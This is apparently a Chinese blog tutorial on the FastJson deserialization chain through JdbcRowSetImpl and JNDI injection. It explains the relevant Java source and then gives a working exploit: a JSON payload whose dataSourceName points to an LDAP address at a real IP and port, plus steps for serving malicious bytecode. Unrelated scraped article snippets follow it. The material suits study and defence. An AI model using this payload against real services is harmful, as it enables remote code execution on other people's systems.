【Web】速谈FastJson反序列化中JdbcRowSetImpl的利用

目录

简要原理分析

exp


前文:【Web】速谈FastJson反序列化中TemplatesImpl的利用

简要原理分析

前文的TemplatesImpl链存在严重限制,即JSON.parseObject()需要开启Feature.SupportNonPublicField

fastjson的第二条链JdbcRowSetImpl,主要是利用jndi注入达到的攻击,而且没有什么利用限制,其原理就是setter的自动调用

先来看JdbcRowSetImpl的setDataSourceName方法

public void setDataSourceName(String var1) throws SQLException {
        if (this.getDataSourceName() != null) {
            if (!this.getDataSourceName().equals(var1)) {
                super.setDataSourceName(var1);
                this.conn = null;
                this.ps = null;
                this.rs = null;
            }
        } else {
            super.setDataSourceName(var1);
        }

    }

会进到super.setDataSourceName(),其实就是给dataSource赋值为我们传入的值,合情合理

public void setDataSourceName(String name) throws SQLException {

        if (name == null) {
            dataSource = null;
        } else if (name.equals("")) {
           throw new SQLException("DataSource name cannot be empty string");
        } else {
           dataSource = name;
        }

        URL = null;
    }

再来看JdbcRowSetImpl的setAutoCommit方法,注意到当conn为null时(初始就是null),就会调用connect方法

public void setAutoCommit(boolean var1) throws SQLException {
        if (this.conn != null) {
            this.conn.setAutoCommit(var1);
        } else {
            this.conn = this.connect();
            this.conn.setAutoCommit(var1);
        }

    }

继续看connect方法,显然conn为空且我们有DataSourceName属性,进到else if的分支,调用(new InitialContext()).lookup(),经典何须多言,只要dataSourceName设为恶意远程RMI服务或LDAP服务打JNDI即可

 private Connection connect() throws SQLException {
        if (this.conn != null) {
            return this.conn;
        } else if (this.getDataSourceName() != null) {
            try {
                InitialContext var1 = new InitialContext();
                DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
                return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
            } catch (NamingException var3) {
                throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
            }
        } else {
            return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
        }
    }

 

exp

package com.FJ;

import com.alibaba.fastjson.JSON;

public class FJ {
    public static void main(String[] args) {
        String s="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://124.222.136.33:1337/#suibian\", \"autoCommit\":true}";
        Object object = JSON.parse(s);
    }
}

开一个恶意LDAP服务器

找个端口放恶意字节码

  


http://www.niftyadmin.cn/n/5404073.html

相关文章

将本地的镜像上传到私有仓库

使用register镜像创建私有仓库 [rootopenEuler-node1 ~]# docker run --restartalways -d -p 5000:5000 -v /opt/data/regostry:/var/lib/registry registry:2[rootopenEuler-node1 ~]# docker images REPOSITORY TAG IMAGE…

智能的花火,照亮一座5G钢铁工厂的时代之舞

“东风夜放花千树。更吹落,星如雨。凤箫声动,玉壶光转,一夜鱼龙舞”,辛弃疾在《青玉案》中描绘的“打铁花”,是刚刚过去的春节假期中,全国各地都在上演的中式浪漫。 当铁水被击打向高空,犹如千万…

PDF文件签章,水印

首先准备好配置环境(详细参考配置PDF笔记) 生产PDF文件: 第一步: 实体类加注解:(这个注解的作用是设置你pdf文件中列的名称,每个字段都要加) 第二步: 编写后端方法, 先依赖注入 PdfService中…

react父子组件传参demo

父组件代码 /* eslint-disable next/next/no-img-element */ "use client"; import React, { useEffect, useState } from "react"; import WxTip from ../components/WxTipconst Download () > {const [showTip, setshowTip] useState<boolean…

苹果 Vision Pro零售部件成本价格分析

苹果公司发布的全新头戴式显示器 Apple Vision Pro 虽然售价高达3499美元&#xff0c;但其制造成本同样不菲&#xff0c;根据研究机构 Omdia 的估计&#xff0c;该头显仅零部件成本就超过了1500美元。这款头显的总零部件成本估计为1542美元&#xff0c;这还并不包括研发、包装、…

前端架构: 脚手架通用框架封装之脚手架注册和命令注册开发(教程二)

脚手架注册和命令注册 1 &#xff09;脚手架的注册 接上文&#xff0c;仍旧在 abc-cli 项目中参考&#xff1a;https://blog.csdn.net/Tyro_java/article/details/136381086之前初始化的时候&#xff0c;使用的是 yargs, 现在我们想要使用 commander在cli包中安装 commander $…

1.2 数值计算的误差 (初稿)

1.2.1 误差来源与分类 近似解 与 精确解 之间的误差称为 截断误差 或 方法误差。 eg&#xff1a; 可微函数 f(x) 用泰勒 (Taylor) 多项式 P n ( x ) f ( 0 ) f ′ ( 0 ) 1 ! x f ′ ′ ( 0 ) 2 ! x 2 ⋯ f ( n ) ( 0 ) n ! x n P_{n}(x)f(0)\frac{f^{\prime}(0)}{1!}x\f…

智能驾驶规划控制理论学习05-车辆运动学规划案例分析

目录 案例一——Hybrid A*&#xff08;基于正向运动学&#xff09; 1、基本思想 2、 实现流程 3、启发函数设计 4、分析扩张&#xff08;Analytic Expansions&#xff09; 5、分级规划&#xff08;Hierarchical planning&#xff09; 案例二——State Lattice Planning&…